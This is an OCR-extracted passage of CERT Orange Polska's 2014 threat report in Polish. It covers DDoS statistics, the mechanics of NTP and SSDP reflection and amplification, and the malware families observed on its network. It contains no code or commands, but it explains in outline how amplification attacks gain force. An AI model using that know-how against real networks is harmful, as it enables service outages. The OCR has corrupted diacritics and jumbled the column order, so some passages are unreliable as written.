duzej podazy botnetow, ktére mozna wykorzysta¢ do ata-
ku. Dzigki temu takie ,ustugi” sg na czarnym rynku dostep-
ne za niewielkie pienigdze.

Roéwnie niebezpieczne sg kilkuminutowe ataki proponowane

W 2014 roku CERT Orange Polska zidentyfikowat 106 768
alertéw DDoS (ostrzezen o ruchu noszacym znamiona ata-
ku) dotyczacych sieci ustugowej Orange Polska, co daje
$rednio ok. 9 tysiecy alertow miesigcznie. To blisko 40-pro-
centowy wzrost w poréwnaniu z 2013 rokiem. Alerty DDoS
w 2014 roku w podziale na poziom krytycznosci przedsta-
wiono na Wykresie 4, zas w rozkladzie procentowym — na
Wykresie 5. Jednego przypadku ataku moze dotyczy¢ kilka
lub kilkanascie alertéw, wystepuijg takze tzw. false positive
— klasyfikacja prawidtowego ruchu jako anomalii. W niekto-
rych przypadkach atakéw infrastruktura sieciowa potrafi
rozproszy¢ probe bez udziatu specjalistycznych rozwigzan,
wiec nie zostanie on zobrazowany w statystykach alertow.

nio spreparowanymi wywotaniami. Ddla kazdego z nich
atakowany obiekt przydziela pamie¢, czas procesora czy
pasmo sieciowe. Przy bardzo duzej liczbie zgdan prowadzi
to do btyskawicznego wyczerpania dostepnych zasobdw
infrastruktury. Z tego powodu dochodzi do przerwy w dzia-
taniu lub nawet do uszkodzenia systemu. W przypadku
ataku na tgcze sieciowe celem zazwyczaj jest zajecie catej
dostepnej przepustowosci tgcza.

za darmo w ramach ,testu ustugi” — dobry przyktad coraz
bardziej powszechnego trendu zwigzanego z oferowaniem
ustug typu CaaS (Crime as a Service). Pieciominutowy atak
w zupetnosci wystarcza, by uniemozliwi¢ wykonanie trans-
akcji w okreslonym czasie, zablokowa¢ dostep do ustugi
w krytycznym czasie czy wylogowac¢ gracza z gry online
podczas e-sportowych rozgrywek.

DDoS jest réwniez uzywany jako atak pozorowany, maja-
cy w rzeczywistosci umozliwi¢ przepuszczenie ztosliwego
ruchu. Czesto w przypadku braku innych opcji dla zacho-
wania ciggtosci biznesu mogg zosta¢ wytgczone badz
przecigzone urzgdzenia chronigce sie¢ (np. IPS). DDoS
moze réwniez mie¢ na celu ukrycie posréd miliondw pakie-
téw znamion wiamania i nieautoryzowanego uzyskania
dostepu do serwerdw przedsigbiorstwa.

Dlatego informacje o potencjalnym zagrozeniu pojawia-
ja sie po przekroczeniu okreslonych progéw alarmowych
ustawianych na relatywnie wysokim poziomie.

Alerty z poziomem krytycznosci ,Wysoki” stanowig 9 pro-
cent wszystkich atakéw. Krytycznos¢ alertu zalezna jest
od wolumenu ruchu oraz czasu jego trwania. Alert skla-
syfikowany jako ,Wysoki” najczesciej ma istotny wptyw
na dostepnos¢ ustug. Alerty o poziomie $rednim i niskim
ograniczajg dostepnos¢ ustug jedynie w specyficznych
warunkach, w przypadkach wystgpienia okolicznosci nie-
sprzyjajgcych dla atakowanego.

Wykres 4. i 5.
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Typy atakéw DDoS obserwowanych w sieci Orange Pol-
ska, przedstawiono na Wykresie 6. Ponizej szczegbtowo
opisano poszczegodlne kategorie.

Wykres 6.

Zwigzany z fragmentacjg pakietow UDP, czyli z wysyta-
niem duzych pakietéw (powyzej MTU? 1500). Koniecz-
nos¢ ich ponownego potgczenia w znacznym stopniu
wykorzystuje zasoby procesora.

Wysytanie krétkich zapytan do urzadzen, w trakcie
ktérych atakujacy podszywa sie pod maszyne ofiary.
Urzgdzenia docelowe odpowiadajg pakietami kiero-
wanymi na adres pochodzgcy z fatszywego nagtéw-
ka, a ofiara zalewana jest olbrzymig liczbg pakietow
z wielu hostéw. Najczesciej wykorzystujg podatnosci
protokotdow bazujgcych na UDP (m.in. DNS, SNMP,
CHARGEN, NTP czy SSDP).

Zalewanie atakowanego hosta pakietami UDP/ICMP
wysytanymi z wielu przejetych hostow/urzadzen (botéw).

Wykorzystuje potgczenie inicjujgce TCP (z flagg SYN/
RST/NULL), np. zalewanie atakowanego hosta pakie-
tami TCP z ustawiong flagg synchronizacji (SYN), rese-
towaniem potgczenia (RST) lub bez flagi (NULL).

Z punktu widzenia uzytkownika kazdy z wyzej wymienio-
nych rodzajéw ataku jest niebezpieczny, gdyz powoduje
utrate lub ograniczenie dostepnosci ustug sieciowych,
takich m.in. jak serwisy webowe, poczta elektroniczna czy
DNS.

W 2014 roku bylismy $wiadkami upowszechnienia nowe;
metody wzmacniania atakéw DDoS. Od poczgtku roku
przestepcy zaczeli wykorzystywa¢ m.in. niepoprawnie
skonfigurowane serwery czasu (NTP — Network Time Pro-
tocol), co zostato zobrazowane na Wykresie 7. Natomiast
od trzeciego kwartatu 2014 roku obserwowany jest wzrost
wykorzystania protokét SSDP (Simple Service Discovery
Protocol) do akceleracji atakéw uwidoczniony na Wykresie
8. Pozwalato to atakujgcym na przeprowadzenie efektyw-
nych atakéw wolumetrycznych, bowiem odpowiedz Zle
skonfigurowanego serwera/ustugi jest nawet kilkudziesie-
ciokrotnie wigksza od kierowanego do niego zapytania. Na
kolejnych wykresach przedstawiono charakterystyke ruchu
na porcie 123 (NTP) z/do analizowanego tacza Orange Pol-
ska (transfer danych na taczu przekraczat momentami 50
Gbps) oraz charakterystyke ruchu na porcie 1900 (SSDP).

Wykres 7. i 8.

Na powyzszych wykresach ruch w kierunku ,out” jest
znikomy w poréwnaniu do ruchu ,in”. Obrazuje to, w jak
znaczacy sposoéb przy tego rodzaju atakach nastepuje
wzmocnienie ruchu — zwielokrotnienie wolumenu odpo-
wiedzi kierowanych do atakowanych hostéw.

Na czym polega atak Reflected DDoS? Atakujgcy urucha-
mia botnet (1). Boty, podszywajac sie pod adres ofiary,
wysytajg krotkie zapytania do podatnych serwerdw/urzg-
dzen (2). Urzadzenia ,w imieniu” ofiary odpytujg serwer
DNS (8), a ten zwraca odpowiedz na adres zaatakowane-
go (4). W rezultacie cel zalewany jest tysigcami odpowiedzi
o rozmiarze duzo wigkszym niz inicjujgce zapytanie.

Rysunek 3.

Uzycie tej techniki powoduje zwiekszenie sity ataku bez
znacznego zwigkszania zasobow atakujgcego, tym samym
nie wymaga posiadania kontroli nad duzymi zasobami ata-
kujacymi (botnetem), wystarczy lista podatnych urzgdzer/
serwerdw i proste skrypty do jego przeprowadzenia. Sza-
Cuje sie, ze podatnych urzgdzen wykorzystujacych protokét
SSDP na $wiecie jest ok. 15 min (w Polsce ok. 115 tys.)3,
co pozwala na przeprowadzenie duzego ataku DDoS przy
relatywnie niskim koszcie. Rekordowe ataki tego typu na
Swiecie siegaja kilkuset Gbps*.

Charakterystyka protokotu NTP powoduje, ze wysytana
przez serwery NTP odpowiedz moze by¢ maksymalnie
nawet 556,9 raza® wigksza od inicjujgcego pakietu. Pro-
tokdt NTP wykorzystuje potgczenia UDP na porcie 123 do
synchronizacji czasu pomiedzy komputerami w sieci, nato-
miast protokdt SSDP stuzy do wykrywania urzgdzen UPnP
(Universal Plug and Play) i wykorzystuje potagczenia UDP na
porcie 1900.
Istotnym problemem wydajg sie urzgdzenia bezpieczen-
stwa dla SOHO (Small Office/Home Office), ktdre usitujg
pogodzi¢ niskg cene z szerokim zakresem oferowanych
funkcjonalnosci, w efekcie proponujac koncowemu uzyt-
kownikowi bardzo niski poziom bezpieczenstwa. Razem
z otwartymi serwerami DNS (open DNS-resolvers) czy tez
publicznymi i otwartymi serwerami NTP i SNMP daje to
szereg potencjalnych wektoréw ataku. Jezeli uzytkownicy
nie bedg mieli Swiadomosci, ze stosowanie odpowiednich
zabezpieczen jest konieczne, same dziatania prowadzone
po stronie operatora (mitygacja atakow w czasie rzeczywi-
stym, filtrowanie podrobionych pakietow) moga sie okazac
niewystarczajgce.
By sie broni¢ przed tego typu atakami, nalezy:

wytaczy¢ ustuge wszedzie tam, gdzie nie jest potrzebna,

nie udostepnia¢ ustug wszystkim uzytkownikom, jesli

nie jest to konieczne,

korzysta¢ z mozliwie najnowszej wersji protokotu.

2Maximum Transportation Unit — rozmiar najwigkszego datagramu mozliwego do przekazania przez warstwe protokotu komunikacyjnego

3 Zrédio: https://ssdpscan.shadowserver.org/ — dane na dzien 2015-01-05

4 Zrédio: http://www.arbornetworks.com/asert/2014/03/ntp-attacks-continue-a-quick-look-at-traffic-over-the-past-few-months/

5Zrédio: US-CERT, https://www.us-cert.gov/ncas/alerts/TA14-017A
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Sita oraz czas trwania atakow DDoS

Z roku na rok obserwujemy wzrost sity atakéw DDoS. Na
Wykresie 9. przedstawiono obserwowany przez CERT
Orange Polska rozktad procentowy wielkosci ruchu
generowanego w atakach DDoS. Wzrost sity atakoéw
jest spowodowany nie tylko coraz wigkszg dostepnoscig
i przystepnoscig cenowg szerokopasmowych faczy inter-
netowych oraz wigkszg liczbg urzgdzen w sieci. Jest spo-
wodowany réwniez stosowaniem nowych technik wzmac-
niania atakéw (np. z wykorzystaniem protokotu NTP czy
SSDP), a takze spadkiem cen atakéw dostepnych na czar-
nym rynku.

Srednia wielko$¢ szczytowego natezenia ataku odnotowa-
na przez CERT Orange Polska to ok. 900 Mbps, natomiast
najwieksza odnotowana wartos$¢ natezenia ruchu w szczy-
cie ataku to ok. 93 Gbps/50 Mpps.

>> Wykres 9.

Wykres 10. przedstawia rozktad procentowy czasu trwania
atakow DDoS. Wigkszos$¢ zarejestrowanych alertow trwata
ponizej 10 minut, natomiast Sredni czas trwania wszystkich
zarejestrowanych alertow to ok. kilkkunastu minut.

>> Wykres 10.

powyzej 10
5-10

2-5 8,8%

0,2-0,5

wolumen ataku [G

ponizej 0,2

udziat procentowy

powyzej 60
30-60
15-30 16,0%

10-15 20,0%

Od kilku lat utrzymuije sie tendencja dywersyfikacji celéw ata-
ku potgczona ze skracaniem czasu ich trwania. Ubiegty rok
po raz kolejny potwierdzit ten trend i w 2015 roku mozemy sie
spodziewac jego utrzymania. Krétkotrwate ataki sg bolgcz-
kg dla form ochrony przed DDoS zaktadajgcych uruchomie-
nie mitygacji po kilku/kilkunastu minutach ciggtego ataku.

Istnieje duza liczba metod ochrony przed atakami DDoS,
jednak duze ataki wolumetryczne moga zosta¢ zmitygo-
wane jedynie na poziomie ISP badz przy wsparciu specjali-
stycznych firm ,ukrywajgcych” chronione serwisy za swojg
infrastrukturg. W takiej sytuacji ograniczenie skutkéw ataku
nastepuje dzieki geograficznemu rozproszeniu weztéw, za
ktorymi serwis jest dostepny, filtrowaniu ztosliwego ruchu
oraz fgczom o duzej przepustowosci.

Dla ochrony witasnej sieci korporacyjnej przed DDoS Oran-
ge Polska uzywa rozwigzan wiodgcego producenta Arbor
Networks. Wykorzystujemy takze mozliwosci blokowania
adreséw potwierdzonych jako zrédto atakoéw albo ogra-
niczenia dostepu do atakowanych zasobdéw. Identyczne
rozwigzanie w postaci ustug oferujemy réwniez swoim
klientom.

Wykres 9.
Wolumen atakdéw DDoS zaobser-
wowanych w sieci Orange Polska

28,8%

Wykres 10.

Czas trwania atakow DDoS
zaobserwowanych w sieci Orange
Polska

udziat procentowy

Serwery, firewalle, fgcze dostepowe — to wszystko padato ofiarg atakéw DDoS.
Najczesciej zawodzito samo tgcze, wysycajac sie do tego stopnia, ze ruch siecio-
wy nie docierat juz do urzadzen sieciowych. Ubiegty rok byt dla cyberprzestep-
cow czasem prob, jesli chodzi o protokoty internetowe. Sprawdzali chyba kazdy
— DNS, NTP, CHARGEN, SSDP itd. — by zdecydowac, ktéry najbardziej nadaje
sie do atakow Reflected DDoS.

Na kazdg kampanie cyberprzestepcza, ktérg obserwowalismy w ubiegtym roku,
sktadaty sie roznorodne wektory ataku, do tego stopnia, ze to kampanie uzy-
wajgce jednego wektora mozna by nazwa¢ wyjatkowymi. Dla zwyktego inter-
nauty DDoS to po prostu DDoS, istnieja jednak setki jego wariantéw, nierzad-
ko w wyniku ataku kreujgce nowe warianty. Przyktadowo Tsunami SYN Flood,
odkryty w 2014 roku, bazuje na klasycznym SYN Flood, nie mamy jednak do
czynienia z ,pustymi” pakietami TCP SYN, bowiem kazdy z nich zawiera jesz-
cze ok. 1 kB nieistotnych danych, pozwalajgc atakujgcemu przeprowadzi¢ atak
wolumetryczny przy uzyciu protokotu TCP. Co ciekawe, RFC nie odrzuca takich
przypadkéw uzycia.

Zaobserwowalismy tez szereg kampanii, w ktorych silny atak SYN Flood trwat
przez minute i zostat wznowiony po 15-minutowej przerwie. W innych przy-
padkach organizacja przez 3 minuty byta celem bardzo duzego ataku wolume-
trycznego, ktéry nastepnie milkt na godzine, a po tym czasie zostat wznowiony.
To odpowiedz na zabezpieczenia przeciwko DDoS, kidre osiggajg petng efek-
tywnos¢ po kilku minutach od stwierdzenia ataku — tego typu ataki pozwalaja na
ich faktyczne ominiecie.

W ubiegtym roku zaobserwowalismy rowniez wyrazny wzrost czasu trwania ata-
kéw. 19 procent ofiar zgtaszato, ze byto atakowane w trybie ciggtym. W minio-
nych latach (2013, 2012 and 2011) czesto zdarzaly sie sytuacje, gdy raportowa-
no tygodniowe, czy nawet miesieczne ataki, ale liczba badanych przez Radware
firm, padajgcych ofiarg atakéw ciggtych, nigdy nie przekraczata 6 procent!
To moze by¢ powazne wyzwanie w 2015 roku.

Firma Radware to jeden z czotowych $wiatowych dostawcow rozwigzan ochrony
przed atakami DDoS.
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/. Malware

Malware (od angielskich stow malicious — ztosliwy, softwa-
re — oprogramowanie) to termin uzywany na okreslenie
oprogramowania, ktérego zadaniem jest wykonywanie
szkodliwych dziatan na komputerze ofiary. Oprogramo-
wanie tego typu infekuje komputery, jest na nich instalo-
wane bez wiedzy i zgody uzytkownikéw. Do dystrybucii
Zlosliwego oprogramowania wykorzystywane sg na przy-
ktad mailowe ataki phishingowe (przesytanie zainfekowa-
nych ztosliwym kodem plikow), sktonienie uzytkownika do
odwiedzenia strony zawierajgcej takie oprogramowanie,
instalowanie malware’u umieszczonego w pirackich wer-
sjach programéw bgdz plikach znalezionych w internecie.
Ztosliwe oprogramowanie jest czesto wykorzystywane do
przejmowania kontroli nad zainfekowanymi komputerami
przez osoby nieuprawnione i dotgczania tych urzadzen do
sieci botnetowych. Moze by¢ réwniez przyczyng wycieku
danych zgromadzonych na nosnikach podtgczonych do
zainfekowanych stacji roboczych, a takze kradziezy pouf-
nych informacji wprowadzanych przez uzytkownikéw (m.in.
loginy, hasta).

W 2014 roku zaobserwowano znaczgcy wzrost liczby

malware opracowanego na urzgdzenia mobilne przede

wszystkim pracujgce pod kontrolg systemu Android, jed-

nak inne systemy operacyjne zarzadzajgce naszymi smart-

fonami rowniez nie sg wolne od zagrozen.

Pojecie ztosliwych operacji trudno zdefiniowa¢ jedno-

znacznie, tym niemniej na ogdlnym poziomie przyjeto,

ze wigzg sie one z nastepujgcymi skutkami:

* uzyskiwanie przez uzytkownika dostepu do informaciji,
dla ktérego nie jest ona przeznaczona,

e zakidcanie dziatania systemow.

W szczegdlnosci sg to nastepujace funkcje:

* wykonywanie atakéw DDoS,

e kradziez danych,

* rozprzestrzenianie sie na inne systemy i oprogramo-
wanie,
niszczenie danych.

Mozna wyrdznié kilka gtéwnych typdw ztosliwego oprogra-

mowania (klasyfikacja wg ENISAS):

® Wwirus
Infekuje inne oprogramowanie, np. program wykony-
walny EXE, a ten nastepnie infekuje kolejne odnale-
zione na dysku lub uruchomione przez uzytkownika
programy EXE.

robak

Ma za zadanie szybko rozprzestrzenia¢ sie pomiedzy
systemami operacyjnymi i zainfekowac jak najwiekszg
liczbe maszyn.

trojan

Oprogramowanie, ktére pod pozorem niegroznych
dziatar wprowadza na urzgdzenie ofiary inne zlosliwe
programy i funkcjonalnosci.

backdoor

Cyberprzestepcy instalujg na zaatakowanych syste-
mach backdoory (tylne wejscia) w celu zapewnienia
sobie dostepu do nich w pdzniejszym czasie.

rootkit

Ma za zadanie ukry¢ inne programy w systemie,
a przez to utrudni¢ ich odnalezienie i analize. Czesto
robi to, ingerujac gteboko w mechanizmy dziatajgce
u podstaw systemodw operacyjnych.

exploit

Wykorzystuje wystepujgcy w oprogramowaniu btad
programistyczny w celu przejecia kontroli nad dzia-
taniem procesu i uruchomienia powtoki systemowe;j
Z uprawnieniami programu, w ktorym wykryto luke
w zabezpieczeniach.

keylogger

Zbiera informacje wprowadzane do systemu przez
uzytkownika za pomocg klawiatury/myszy.

Opisujgc ztosliwe oprogramowanie, nie mozna zapominac
0 pojeciach ,bot” i ,botnet”. Bot to komputer zainfekowa-
ny ztosliwym oprogramowaniem, tgczacy sie i odbierajacy
komendy z Centrum Kontroli (Command&Control, C&C).
Botnet natomiast to sie¢ botéw.

Wspotczesnego malware najczesciej nie da sie przypo-
rzgdkowac¢ do konkretnej kategorii, ma on bowiem cechy
kilkku z nich. Dla przyktadu ZeroAccess to trojan stuzgcy
jako platforma do instalacji innego ztosliwego oprogra-
mowania, wykorzystujgca zaawansowane techniki ukry-
wania sie w systemie operacyjnym charakterystyczne dla
rootkitow. Z kolei Stuxnet propaguije sie jak robak, ale ma
rowniez funkcje trojana, komunikujgcego sie ze zdalnymi
weztami C&C.

Uzytkownik sieci korzystajgcy z portalu bankowosci online
moze pas¢ ofiarg tzw. trojana bankowego. Jego elementy
rozmieszczone w zainfekowanym systemie zbierajg dzieki
wykorzystaniu zaawansowanych technik informacije, zwia-
zane z zarzagdzaniem kontem bankowym ofiary.

S https://www.enisa.europa.eu/activities/Resilience-and-ClIP/critical-applications/botnets/botnets-measurement-detection-disinfection-and-defence
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Chodzi m.in. o odczytywanie nacisnie¢ klawiszy, zrzuty
ekranu przy klikaniu myszkg (dla zarejestrowania interak-
cji z wirtualng klawiaturg), podstuchiwanie i modyfikowanie
informaciji na poziomie przegladarki bgdz jej dodatkéw (np.
Java). CERT Orange Polska pozyskuje informacje o nowych
przypadkach ztosliwego kodu z urzadzern monitorujgcych

7.1 Malware na platformy stacjonarne

Majgc na uwadze ewolucje zagrozen, CERT Orange Pol-
ska prowadzi ciggty rozwdj narzedzi monitorowania zagro-
zen i przeciwdziatania im. We wrzedniu 2014 roku uru-
chomiona zostata nowa platforma bezpieczenstwa, dzieki
ktdérej mozliwe jest monitorowanie poziomu i minimalizacja
zagrozen zwigzanych z malware, a dotykajgcych uzytkow-
nikow sieci Orange Polska. Wykres 11. przedstawia udziat
procentowy trzech najpopularniejszych rodzajéw zagrozen
wystepujgcych w sieci Orange Polska. Obrazuje zdarze-
nia zwigzane ze ztosliwym oprogramowaniem pod wzgle-
dem unikalnych uzytkownikéw dla tgcz ustugi Neostrada
(gtéwnie uzytkownicy prywatni) oraz Internet DSL (gtownie
mate i $rednie podmioty gospodarcze) dla reprezenta-
tywnej prébki 25 tys. uzytkownikow. Te i kolejne wykresy
przedstawiajg probke w postaci wartosci z czterech ostat-
nich miesiecy 2014 roku. W kolejnym okresie raportowym
mozliwe bedzie wskazanie petnego zakresu danych z 12
miesiecy.
>> Wykres 11.

Od wrzesnia do grudnia 2014 roku dla tgcz ustugi Neo-
strada zauwazalna jest spadkowa tendencja dla malware
z kategorii Infection Match. Zdarzenia zdefiniowane jako
Infection Match przedstawiajg infekcje w czasie rzeczywi-
stym widocznie m.in. w formie zarazonych plikéw pobiera-
nych na urzadzenie uzytkownika, ztosliwego kodu wyko-
nywanego podczas otwierania zainfekowanych witryn albo
kolejnych proéb infekcji na zarazonej juz stacii.

Znaczny wzrost zagrozen mozna zauwazy¢ dla Malware
Callback oraz Domain Match.

Malware Callback to potgczenie wykonywane przez mal-
ware zainstalowany na zainfekowanym komputerze
z serwerem Command&Control w celu pobrania instruk-
cji sterujgcych oraz wysytania wykradzionych danych lub
aktualizacji ztosliwego oprogramowania. Domain Match
jest wysytanym z zainfekowanego przez malware kompu-
tera zapytaniem o nazwe domeny uzywanej do lokalizacji

umieszczonych w réznych punktach sieci klienckiej. Nowe
instancje zlosliwego oprogramowania  zidentyfikowane
w sieci Orange Polska sg szczegdtowo analizowane, zas
jesli w wyniku analizy zostang ustalone np. adresy centrow
Command&Control, docelowo dostep do nich jest bloko-
wany z catej sieci, ktérej operatorem jest Orange Polska.

serwera Command&Control. Ztosliwe oprogramowanie
uzywa bowiem algorytmdw generowania domen (Domain
Generation Algorithm, DGA) tworzgcych dynamicznie skta-
dajace sie z ciggdw losowych znakdéw nazwy domen, do
ktorych przypisany jest przewaznie jeden lub dwa serwery
Command&Control.

Wiele z wymienionych zagrozen uwarunkowanych jest sta-
le rosngcy liczbg bteddw i podatnosci, wykorzystywanych
w tworzeniu ztosliwego oprogramowania lub utatwiajgcych
infekowanie systeméw operacyjnych. Lekarstwem na
wzrost zagrozen moze by¢ bardziej powszechne wprowa-
dzanie srodkow zapobiegawczych, m.in. sond monitorujg-
cych ruch sieci botnetowych réwniez pod katem konkret-
nych odmian ztosliwego oprogramowania.
Ponizsze dwa wykresy przedstawiajg aktywnos¢ Top 5
najpopularniejszego ztosliwego oprogramowania zareje-
strowang na probce 25 tysiecy klientow facz Neostrada
i Internet DSL od wrzesnia do grudnia 2014 roku. Pod
uwage brano liczbe unikalnych potgczen od uzytkownikow
do serwerow Command&Control.

>> Wykres 12.

>> Wykres 13.

Najwiekszg aktywnos$¢ na powyzszych wykresach mozna
zauwazy¢ w przypadku zainfekowania uzytkownikéw Inter-
net DSL malware o nazwie ,InfoStealer.Zbot”. To rodzina
Zeusa — popularnego wirusa wykradajgcego dane — zwia-
zane z bankowoscig elektroniczng. Na opisywanej probce
wida¢ réwniez drastyczny wzrost w ostatnich miesigcach
roku liczby infekcji wirusem Backdoor. APT.LV (jgj przyczyny
zostaly szerzej wyjasnione w tym rozdziale w czesci ze spo-
strzezeniami naszego partnera, firmy FireEye) oraz Trojan.
Zero.Access. Statystyki potwierdzajg informacje medialne,
mowigce o tym, ze cyberprzestepcy przeprowadzili pod
koniec roku skoordynowang fale atakéw, wykorzystujgc
odmiany ztosliwego kodu niewykrywanego w tamtym okresie
przez oprogramowanie antywirusowe.
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Wykres 13.

Top 5 typdw zagrozer ztosliwym
oprogramowaniem dla klientow
Internet DSL

Wykres 14.

Dane dotyczgce komunikacji
uzytkownikdw fgcz Neostrada oraz
Internet DSL z serwerami C&C

Wykres 15.
Potgczenia do Command&Control
dla Neostrady

Opisy najciekawszych malware (szczegdtowe analizy przy-
padkow ztosliwego oprogramowania zostaty zamieszczo-
ne w zatgcznikach od 1. do 3. w koncowej czesci raportu):
e Trojan.ZeroAccess
Za posrednictwem backdoora w systemie operacyj-
nym trojan wymusza komunikacje z zarazonej stacii
do zewnetrznego centrum sterowania, np. na porcie
TCP 49163. Potrafi rowniez przez ukryte pliki syste-
mowe zestawi¢ potaczenie TCP 80 do pobierania na
zainfekowane urzgdzenie réznego rodzaju ztosliwego
oprogramowania.
e |nfoStealer.Zbot
Kon trojanski (rodzina Zeus), ktory wykrada poufne
dane z zainfekowanego komputera. Jest w stanie
pobiera¢ samodzielnie pliki konfiguracyjne i aktualiza-
cje z centrum sterowania.
e Backdoor.NjwOrm
Kon trojanski wykradajgcy hasta dostepowe zapisa-
ne w pamieci zarazonego komputera. Jest w stanie
przenies¢ sie na urzadzenia sieciowe albo na nosniki
zewnetrzne.
e Trojan.Ramnit
Kon trojanski umozliwiajgcy przejecie zdalnego doste-
pu do komputera i kontroli nad zarazonym komputerem
przez centrum sterowania, a nastepnie wykorzystanie
go do celéw zwigzanych z cyberprzestepczoscia.
e Trojan.Sality
Wirus infekujacy pliki wykonywalne na dyskach lokal-
nych, sieciowych i zewnetrznych. Zestawia réwniez
potaczenie peer-to-peer z botnetem w celu uzyskania
URL, prowadzac do kolejnych zainfekowanych plikow.
Bot.Conficker
Otwiera atakujgcemu zdalny dostep do warstwy syste-
mu operacyjnego. Nalezy do grupy botéw pozwalaja-
cych na instalowanie backdoorow, $cigganie i wykony-
wanie dodatkowych ztosliwych plikéw oraz blokowanie
dostepu z komputera uzytkownika do aplikacji, pro-
gramow i witryn bezpieczenstwa, co znacznie utrudnia
jego usuniecie.
e Bot.Mariposa.DNS
Oprogramowanie klienckie sieci botnetowej wykrada-
jace dane dostepowe uzytkownikéw, infekujgce opro-
gramowanie pocztowe, a takze wykorzystujgce zara-
zone komputery do atakéw DDoS.
e Trojan.Ramnit. SNK.DNS
Oprogramowanie klienckie sieci botnetowej przejmuija-
ce zdalng kontrole nad komputerem zarazonym troja-
nem Ramnit.
e Worm.Email.Brontok.DNS
Oprogramowanie klienckie sieci botnetowej obstuguja-
ce robaki emailowe. Robaki Brontok rozprzestrzeniajg
sie w zatgcznikach wiadomosci e-mail, zmieniajg usta-
wienia komputera, modyfikujg rejestr i blokujg mozli-
wosSC¢ jego edycii.

e Backdoor.DarkComet
Backdoor pozwalajgcy atakujgcemu na uzyskanie nie-
autoryzowanego dostgpu do komputera i kontroli nad
zarazonym komputerem.

e |ocal.Callback
Potgczenie do centrum sterowania nie majgce cech
charakterystycznych pozwalajgcych na okreslenie
jego przynaleznosci do specyficznej rodziny ztosliwego
oprogramowania.

Wykres 14. przedstawia probke ruchu z czterech miesie-

cy dotyczacg powigzania uzytkownikow ustug Internet DSL

oraz Neostrada w udziale procentowym z ruchem o cha-

rakterze anomalii wywotanym ztosliwym oprogramowaniem.
>> Wykres 14,

Obserwacje ruchu dowodza, ze w badanym okresie
z adreséw IP $rednio u 50 procent uzytkownikéw stwier-
dzono ruch wskazujgcy na dziatanie ztosliwego oprogra-
mowania. Wysoki odsetek zarazonych uzytkownikow
Internet DSL (z reguty ustugi dla matych i $rednich firm)
moze wskazywac¢ zardbwno na niski poziom $wiadomosci
bezpieczenstwa, jak i na brak zabezpieczen w tego typu
matych sieciach firmowych. Nizsze wskazniki dotyczace
sieci Neostrada mogg swiadczy¢ zardwno o wyzszej Swia-
domosci bezpieczenstwa uzytkownikéw indywidualnych,
jak i o lepszym poziomie zabezpieczen wykorzystywanych
przez nich urzgdzen dostepowych. Nagty skok liczby uzyt-
kownikow, powigzanych ze ztosliwg zawartoscig pokrywa
sie z przedstawionym na Wykresie 12. znacznym wzro-
stem infekcji trojanem ZeroAccess, dowodzac stusznosci
przedstawionych wczesniej wnioskow o ataku ztosliwym
oprogramowaniem niewykrywalnym jeszcze pod koniec
2014 roku.

Wykres 15. przedstawia Top 5 malware, adresy serweréw
Command&Control oraz udziat procentowy uzytkownikéw
Neostrady, ktérzy tgczyli sie z nimi w trakcie analizowanego
okresu ostatnich czterech miesiecy 2014 roku.

>> Wykres 15.

Na tgczach Neostrady mozna zauwazy¢, ze jedyny wzrost
swojej aktywnosci miat wirus Trojan.Sisron komunikujgcy
sie z réznymi serwerami Command&Control. Wiele przy-
padkéw Ztosliwego oprogramowania powigzanych z kon-
kretng adresacjg jednego miesigca stanowigcych najwiek-
sze zrodto zagrozenia w kolejnych moze zupetie znikna¢
z monitorowanej sieci. Zazwyczaj oznacza to niestety tylko
zmiang charakterystyki odwotan definiujgcych rodzaj zagro-
zenia, badz adresacji koncowesj, odpowiadajgcej za potg-
czenia z ofiarami atakow. Stad koniecznos¢ monitorowania
sieci w trybie cigglym pod katem anomalii wskazujgcych na
dziatanie Ztosliwego oprogramowania.
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7.2 Malware na platformy mobilne

Telefon komérkowy pozwala dzisiaj na korzystanie z wielu
ustug dostepnych w sieci internet. Coraz czesciej smart-
fony umozliwiajg tez dostep do sieci firmowych, co — przy
lekcewazeniu zagrozen mobilnych — wprowadza szereg
dodatkowych ryzyk. Smartfon to praktycznie komputer
i dlatego przy korzystaniu z jego funkcjonalnosci musimy
liczy¢ sie z takimi samymi zagrozeniami jak w przypadku
tradycyjnego komputera. Ztosliwe oprogramowanie na ter-
minale mobilne moze wykras¢ wazne dane, wartosci pie-
niezne z kont bankowych albo uzy¢ naszego urzgdzenia
do przeprowadzania atakéw DDoS czy spam. Instalujgc
aplikacje od niepewnych dostawcow lub spoza oficjal-
nych sklepow, nie mozemy by¢ pewni, czy nie zawierajg
dodatkowych funkcji pozwalajgcych na przejecie kontroli

Malware na urzgdzenia mobilne
w sieci Orange Polska
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ews.exe '
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nad systemami mobilnymi. W opinii CERT Orange Polska
trend atakéw na urzgdzenia mobilne bedzie jeszcze przez
dtugi czas regularnie wzrasta¢. Mimo ciggtego budowania
Swiadomosci zagrozen u uzytkownikdw urzadzenia mobil-
ne wcigz stanowig najstabsze ogniwo bezpieczenstwa
zarobwno dla firm, jak i dla prywatnego uzytkownika.

>> Wykres 16.

W zatgczniku 3. na koncu raportu mozna znalez¢ szcze-
gotowg analize najpopularniejszego trojana wystepujacego
w sieci mobilnej Orange Polska: Android.NotCompatible.

Wykres 16.
Zagrozenia dla urzgdzert mobilnych
z systemem Android — probka

trzymiesieczna

Rysunek 4.
Sposdb dziatania
Backdoor. APT.Kaba

oinfop11.exe oinfo11.ocx oinfo11.iso

w tym samym katalogu

W pamigcl

Przegladajgc statystyki zwigzane ze ztosliwym oprogramowaniem zaprezentowane
w raporcie CERT Orange Polska, zwrdcitem uwage na Backdor.APT.LV. W listopa-
dzie 2014 roku ponad 30 procent potgczen zwrotnych pochodzito od tego oprogra-
mowania. Po raz pierwszy zostat on zaobserwowany we wrzesniu 2012 roku, a jego
celem byty jednostki zajmujgce sie edukacja, energetyka, nowoczesnymi technolo-
giami, produkcja, ustugami finansowymi, opiekg zdrowotng oraz telekomunikacia.
We wrzesniu i pazdzierniku 2014 roku firma FireEye odnotowata w Polsce aktywno-
Sci zwigzane z atakami APT: Backdor.APT.Kaba, Backdor.APT.SpyNet oraz opubli-
kowata raport dotyczacy grupy APT287, dla ktdrej celem ataku byty miedzy innymi
polskie organizacje rzgdowe.

Backdoor.APT.Kaba umozliwia zdalny dostep do zainfekowanego komputera w try-
bie tekstowym oraz graficznym. Ataki sg przeprowadzane przy uzyciu zainfekowa-
nych dokumentow, z wykorzystaniem ,legalnych” komponentéw oprogramowania
oraz technik pozwalajgcych na uruchomienie wtasciwego ztosliwego oprogramo-
wania bezposrednio w pamieci komputera (W celu ominiecia klasycznych syste-
